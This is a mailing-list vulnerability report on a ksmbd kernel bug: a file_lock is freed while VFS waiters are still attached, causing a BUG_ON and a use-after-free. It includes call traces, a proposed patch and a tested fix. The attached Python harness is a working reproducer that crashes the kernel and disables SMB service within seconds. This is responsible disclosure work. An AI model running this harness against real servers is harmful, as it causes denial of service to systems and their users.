ksmbd: BUG_ON in locks_release_private() - file_lock destroyed while VFS blocked requests are still attached
Blue bird <[email protected]>
| Newsgroups | org.kernel.vger.linux-cifs |
|---|---|
| Message-ID | <CALT=-85WRdchL0vkA3mkTmFAiS-Ykjku+T-m+0My3_AcP=TJ3w@mail.gmail.com> |
Hello, I found a remotely triggerable kernel BUG() in ksmbd, reproducible on current mainline. An authenticated SMB3 client with access to a share can crash the kernel and permanently disable the SMB service in a few seconds of traffic. A related KASAN slab-use-after-free in smb2_lock() falls out of the same defect. I have a tested fix, included at the end of this mail. All testing was done against my own ksmbd instance in a local VM, using an account I created myself. No third-party system was involved. I am sending this to the list rather than [email protected] because it needs an authenticated session and the fix is already in hand, so there is nothing to coordinate - but say the word if you would rather handle it privately and I will follow whatever timeline you set. I am not asking for an embargo. If the fix is taken, I would appreciate: Reported-by: Kyenghwan Hwang <[email protected]> I am happy to test patches. Affected version ---------------- Reproduced on mainline commit f5bbbfec59b4e2fb7520a91de3df8a6174325d6a (7.2.0-rc7), arm64, CONFIG_KASAN=y, CONFIG_LIST_HARDENED=y. The code in question is unchanged for a long time, so I expect all releases with ksmbd to be affected. The bug ------- __ksmbd_close_fd() destroys every byte-range lock hanging off a file when a connection or session is torn down: /* fs/smb/server/vfs_cache.c, __ksmbd_close_fd() */ __ksmbd_inode_close(fp); if (!IS_ERR_OR_NULL(filp)) fput(filp); /* because the reference count of fp is 0, it is guaranteed that * there are not accesses to fp->lock_list. */ list_for_each_entry_safe(smb_lock, tmp_lock, &fp->lock_list, flist) { struct ksmbd_conn *conn = smb_lock->conn; if (conn) { spin_lock(&conn->llist_lock); list_del_init(&smb_lock->clist); smb_lock->conn = NULL; spin_unlock(&conn->llist_lock); ksmbd_conn_put(conn); } list_del(&smb_lock->flist); locks_free_lock(smb_lock->fl); /* <-- BUG_ON trips here */ kfree(smb_lock); } The comment is the problem. fp's refcount reaching zero rules out further *ksmbd* references to fp->lock_list. It says nothing about the VFS blocked-request graph, which is owned by fs/locks.c: another client's pending byte-range lock request can be chained onto this file_lock through ->flc_blocked_requests, and locks_release_private() asserts that list is empty before a lock may be destroyed. The chaining is performed by the VFS itself. __locks_insert_block() re-targets the blocker when an already-blocked request conflicts with a newcomer: new_blocker: list_for_each_entry(flc, &blocker->flc_blocked_requests, flc_blocked_member) if (conflict(flc, waiter)) { blocker = flc; goto new_blocker; } waiter->flc_blocker = blocker; list_add_tail(&waiter->flc_blocked_member, &blocker->flc_blocked_requests); so a waiter may be attached to a pending request, not only to a granted lock. ksmbd then frees that lock out from under the VFS. Call trace ---------- kernel BUG at fs/locks.c:312! Internal error: Oops - BUG: 00000000f2000800 [#1] SMP CPU: 4 UID: 0 PID: 1509 Comm: ksmbd:::ffff:12 Not tainted 7.2.0-rc7-gf5bbbfec59b4 pc : locks_release_private+0x214/0x2c8 Call trace: locks_release_private+0x214/0x2c8 (P) locks_free_lock+0x20/0x40 __ksmbd_close_fd+0x67c/0xc28 [ksmbd] __close_file_table_ids+0x430/0x780 [ksmbd] ksmbd_destroy_file_table+0x5c/0xf4 [ksmbd] ksmbd_session_destroy+0xbc/0x38c [ksmbd] ksmbd_sessions_deregister+0x3fc/0x5c8 [ksmbd] ksmbd_server_terminate_conn+0x20/0x40 [ksmbd] ksmbd_conn_handler_loop+0x4b4/0xd10 [ksmbd] fs/locks.c:312 is BUG_ON(!list_empty(&flc->flc_blocked_requests)); Related: incomplete guard in smb2_lock() ---------------------------------------- The cross-request unlock path in smb2_lock() frees another request's lock object, guarded only by static inline bool lock_defer_pending(struct file_lock *fl) { /* check pending lock waiters */ return waitqueue_active(&fl->c.flc_wait); } That asks "am I waiting?", never "is anyone waiting on me?". locks_release_private() asserts five independent conditions and this guard covers exactly one of them (flc_wait). The condition that trips in practice is flc_blocked_requests. Separately, and observed only under heavy parallel load, smb2_lock() also produces a slab-use-after-free of the struct ksmbd_lock itself: BUG: KASAN: slab-use-after-free in smb2_lock+0x3e88/0x43e0 [ksmbd] Read of size 8 at addr ffff0000ca87ad38 by task kworker/4:10/150903 Allocated by task 150903: smb2_lock+0xa90 (smb2_lock_init) Freed by task 150926: smb2_lock+0x2798 (cross-request unlock path) Used by task 150903: smb2_lock+0x3e88 (list_del) with list debugging reporting a stack address and LIST_POISON2 as the neighbour's ->prev: list_del corruption. next->prev should be ffff0000c1d3bdb0, but was ffffc33b8372b790. list_del corruption. next->prev should be ffff0000f0a687b0, but was dead000000000122. ffffc33b8372b790 is a kernel stack address, which is consistent with a freed ksmbd_lock still being reachable from a request-local list: struct ksmbd_lock is threaded onto three lists - clist (conn->lock_list), flist (fp->lock_list) and llist (the on-stack lock_list / rollback_list of the request that created it) - and the cross-request unlock path removes flist and clist but not llist. I want to be clear that this is a hypothesis I could not confirm. I built the sequence it predicts (one request with a granted element plus a blocking element, a concurrent unlock of the granted element on the same connection, then release of the blocker) and drove it 12 times with every step's status verified - the unlock returns STATUS_SUCCESS each time, so the cross-request kfree() path is definitely taken while the other worker is parked - and it never faulted. A 1758-iteration version with four workers did not fault either. So the llist explanation is probably not the whole story, and I am reporting the KASAN output as an observation rather than as a diagnosis. The fs/locks.c:312 BUG_ON above is the part I can reproduce on demand. Reproducer ---------- Attached: lockfuzz2.py (Python 3, needs python3-impacket), and ksmbd-fix.patch (the fix below, attached separately so it survives my mail client). Eight authenticated connections open one file and contend four overlapping byte ranges with a mix of blocking and immediate lock requests; every request is followed within 50-250 ms by an unlock or by an abrupt connection drop while requests are still pending. $ LF_SECONDS=60 python3 -u lockfuzz2.py Measured from a freshly booted guest: run 1: fault after 5 s, 86 lock requests run 2: fault after 5 s, 86 lock requests run 3: fault after 5 s, 197 lock requests Server config used (ksmbd-tools): [global] server min protocol = SMB2_10 server signing = disabled map to guest = never [fuzz] path = /srv/fuzzshare read only = no guest ok = no The trigger is a race in the wake/retry window: the waiter must still be attached when ksmbd destroys the lock. I was not able to reduce it to a deterministic two- or three-connection sequence. Two minimal sequences that reach the intended state but do not fault are noted at the end, in case they help someone narrow it further. Impact ------ An authenticated client can panic the kernel in a few seconds. After the BUG(), the ksmbd worker dies holding references: `rmmod ksmbd` reports "Module ksmbd is in use", port 445 stops accepting new sessions, and the SMB service does not recover without a reboot. A follow-on BUG: KASAN: slab-use-after-free in rwsem_down_write_slowpath+0xc58/0xd40 down_write ksmbd_smb2_session_create [ksmbd] smb2_sess_setup [ksmbd] was observed 1.6 s later as fallout. On kernels built without CONFIG_LIST_HARDENED / CONFIG_DEBUG_LIST, __list_del_entry_valid() returns true unconditionally and __list_del() performs next->prev = prev; WRITE_ONCE(prev->next, next); i.e. two pointer-sized writes into a freed kmalloc-96 object (struct ksmbd_lock is 96 bytes; ->llist is at offset 48). I have not attempted to weaponise that, and on kernels with list hardening enabled the write is suppressed. Suggested fix ------------- Do not destroy a file_lock the VFS still has waiters on. In __ksmbd_close_fd(), detach the blocked requests first, or release the lock through the VFS rather than freeing ksmbd's copy. In smb2_lock(), widen the guard to cover everything locks_release_private() asserts, and unlink ->llist when taking an object away from another request: - !lock_defer_pending(cmp_lock->fl)) { + !lock_defer_pending(cmp_lock->fl) && + list_empty(&cmp_lock->fl->c.flc_blocked_requests) && + list_empty(&cmp_lock->fl->c.flc_blocked_member) && + list_empty(&cmp_lock->fl->c.flc_list)) { nolock = 0; list_del(&cmp_lock->flist); list_del(&cmp_lock->clist); + list_del(&cmp_lock->llist); Unlinking ->llist alone is not sufficient, since the owning request still holds smb_lock in a local variable, so the durable fix is probably to refcount struct ksmbd_lock instead of letting one request free another request's object. I did not send a patch because I am not confident which of those directions you would prefer. Notes on narrowing the reproducer --------------------------------- Two hand-built minimal sequences reach the intended state but do not trip the assertion, which may save someone the attempt: - A holds an exclusive lock on a range; B requests a conflicting blocking lock on the same range and parks (B does receive STATUS_PENDING with the async flag); A then drops its TCP connection. No fault: __ksmbd_close_fd() calls fput(filp) before walking fp->lock_list, so locks_remove_posix() releases A's granted lock and wakes B first. - Three lockers so that a waiter chains onto a pending request (B granted, A blocks, C chains onto A, B unlocks, A unlocks), 30 rounds across six timing gaps. No fault. Thanks, Candidate fix (tested) ---------------------- ksmbd already has the helper this needs - ksmbd_vfs_posix_lock_unblock(), which wraps locks_delete_block(). locks_delete_block() drains flc_blocked_requests via __locks_wake_up_blocks() and unlinks the lock from its own blocker, which clears exactly the two assertions that can trip here (fs/locks.c:312 and :313): diff --git a/fs/smb/server/vfs_cache.c b/fs/smb/server/vfs_cache.c --- a/fs/smb/server/vfs_cache.c +++ b/fs/smb/server/vfs_cache.c @@ -525,6 +525,14 @@ static void __ksmbd_close_fd(struct ksmbd_file_table *ft, struct ksmbd_file *fp) } list_del(&smb_lock->flist); + /* + * Waiters may still be chained onto this lock through the VFS + * blocked-request graph. fp's refcount says nothing about that + * graph, so detach and wake them before destroying the lock; + * otherwise locks_release_private() trips + * BUG_ON(!list_empty(&flc->flc_blocked_requests)). + */ + ksmbd_vfs_posix_lock_unblock(smb_lock->fl); locks_free_lock(smb_lock->fl); kfree(smb_lock); } A/B tested on the same kernel and the same harness, each from a freshly booted guest, with only the module swapped: unpatched: fault at 5 s, 86 lock requests sent kernel BUG at fs/locks.c:312! (followed 1.7 s later by BUG: KASAN: slab-use-after-free in rwsem_down_write_slowpath) patched: 294 lock requests sent, no fault in 150 s I have not sent this as a formal patch because I could not determine the right Fixes: tag - my tree is a shallow clone and git blame runs into the graft boundary - and because you may prefer to fix the smb2_lock() guard in the same change. Please treat the diff as a starting point rather than a submission. One caveat found while testing: after enough blocking lock requests are parked, every ksmbd-io worker ends up in uninterruptible sleep inside ksmbd_vfs_posix_lock_wait() and the workqueue is exhausted, so new connections stop being serviced. That happens with and without the patch above and looks like a separate issue - an authenticated client can park the whole ksmbd-io workqueue with blocking byte-range lock requests it never releases.
lockfuzz2.py
(text/x-python-script, 4.5 KB)
#!/usr/bin/env python3
"""
ksmbd smb2_lock() race harness, v2.
v1 stalled: threads parked on blocking locks that nobody released, so the
iteration rate collapsed (183 iters in 60 s) and the fault was rare. v2
guarantees forward progress -- every blocking lock is followed within
50-250 ms by an unlock, a cancel, or an abrupt connection drop -- which keeps
waiters churning through the grant/chain/free paths that the defect lives in.
"""
import os, struct, sys, time, threading, random, socket, subprocess
sys.path.insert(0, '/home/khh')
import kfuzz2 as K
SHARED, EXCL, UNLOCK, FAILIM = 0x01, 0x02, 0x04, 0x10
TARGET = os.environ.get("LF_FILE", "race2.bin")
NTHREAD = int(os.environ.get("LF_THREADS", "8"))
# few, heavily contended ranges -> deep blocked-request chains
RANGES = [(0, 100), (0, 200), (50, 100), (0, 50)]
stop = threading.Event()
stat = {"n": 0}
lk = threading.Lock()
def create(s, name):
nm = name.encode('utf-16le')
body = struct.pack('<HBBIQQIIIIIHHII', 57, 0, 0, 2, 0, 0, 0x0012019F,
0x80, 3, 3, 0x40, K.OFF_CREATE_BUF, len(nm), 0, 0)
r = s.xfer(s.hdr(K.CREATE) + body + nm)
if not r:
raise RuntimeError("no rsp")
st = struct.unpack('<I', r[8:12])[0]
if st:
raise RuntimeError("create %#x" % st)
return r[128:144]
def lp(s, fid, elems):
b = struct.pack('<HHI16s', 48, len(elems), 0, fid)
for off, ln, fl in elems:
b += struct.pack('<QQII', off, ln, fl, 0)
return s.hdr(K.LOCK) + b
def send(s, pdu):
try:
s.sock.sendall(struct.pack('>I', len(pdu)) + pdu)
return True
except OSError:
return False
def sink(s):
"""Consume replies so the socket never backs up."""
while not stop.is_set():
s.sock.settimeout(0.3)
try:
h = s._rd(4)
if h is None:
return
n = struct.unpack('>I', h)[0]
if s._rd(n) is None:
return
except (socket.timeout, OSError):
continue
except Exception:
return
def worker(rng):
while not stop.is_set():
try:
s = K.Sess()
fid = create(s, TARGET)
except Exception:
time.sleep(0.15)
continue
t = threading.Thread(target=sink, args=(s,), daemon=True)
t.start()
held = []
try:
for _ in range(rng.randint(8, 25)):
if stop.is_set():
break
r = rng.choice(RANGES)
blocking = rng.random() < .6
fl = (EXCL if rng.random() < .8 else SHARED)
if not blocking:
fl |= FAILIM
if not send(s, lp(s, fid, [(r[0], r[1], fl)])):
break
held.append(r)
with lk:
stat["n"] += 1
time.sleep(rng.choice([0.05, 0.08, 0.12, 0.25]))
# guarantee forward progress for everyone blocked behind us
act = rng.random()
if act < .55 and held:
rr = held.pop(rng.randrange(len(held)))
send(s, lp(s, fid, [(rr[0], rr[1], UNLOCK)]))
elif act < .75:
# drop the connection outright while requests are pending
break
# else: leave it held one more beat
except Exception:
pass
try:
s.sock.close()
except Exception:
pass
def dm():
try:
return subprocess.run(['dmesg'], capture_output=True, text=True,
timeout=15).stdout
except Exception:
return ""
def main():
for i in range(NTHREAD):
threading.Thread(target=worker, args=(random.Random(i * 31 + 7),),
daemon=True).start()
t0 = time.time()
limit = float(os.environ.get("LF_SECONDS", "100"))
while time.time() - t0 < limit:
time.sleep(5)
d = dm()
hits = [l for l in d.split("\n")
if any(x in l for x in ("kernel BUG at", "KASAN:",
"list_del corruption",
"Unable to handle"))]
with lk:
n = stat["n"]
print("t=%.0fs locks_sent=%d faults=%d" % (time.time() - t0, n, len(hits)))
sys.stdout.flush()
if hits:
print("=== FAULT ===")
for h in hits[:8]:
print(" " + h)
break
stop.set()
time.sleep(1)
if __name__ == '__main__':
main()
ksmbd-fix.patch
(application/octet-stream, 724 B)
diff --git a/fs/smb/server/vfs_cache.c b/fs/smb/server/vfs_cache.c index a141025581..fac04fd015 100644 --- a/fs/smb/server/vfs_cache.c +++ b/fs/smb/server/vfs_cache.c @@ -525,6 +525,14 @@ static void __ksmbd_close_fd(struct ksmbd_file_table *ft, struct ksmbd_file *fp) } list_del(&smb_lock->flist); + /* + * Waiters may still be chained onto this lock through the VFS + * blocked-request graph. fp's refcount says nothing about that + * graph, so detach and wake them before destroying the lock; + * otherwise locks_release_private() trips + * BUG_ON(!list_empty(&flc->flc_blocked_requests)). + */ + ksmbd_vfs_posix_lock_unblock(smb_lock->fl); locks_free_lock(smb_lock->fl); kfree(smb_lock); }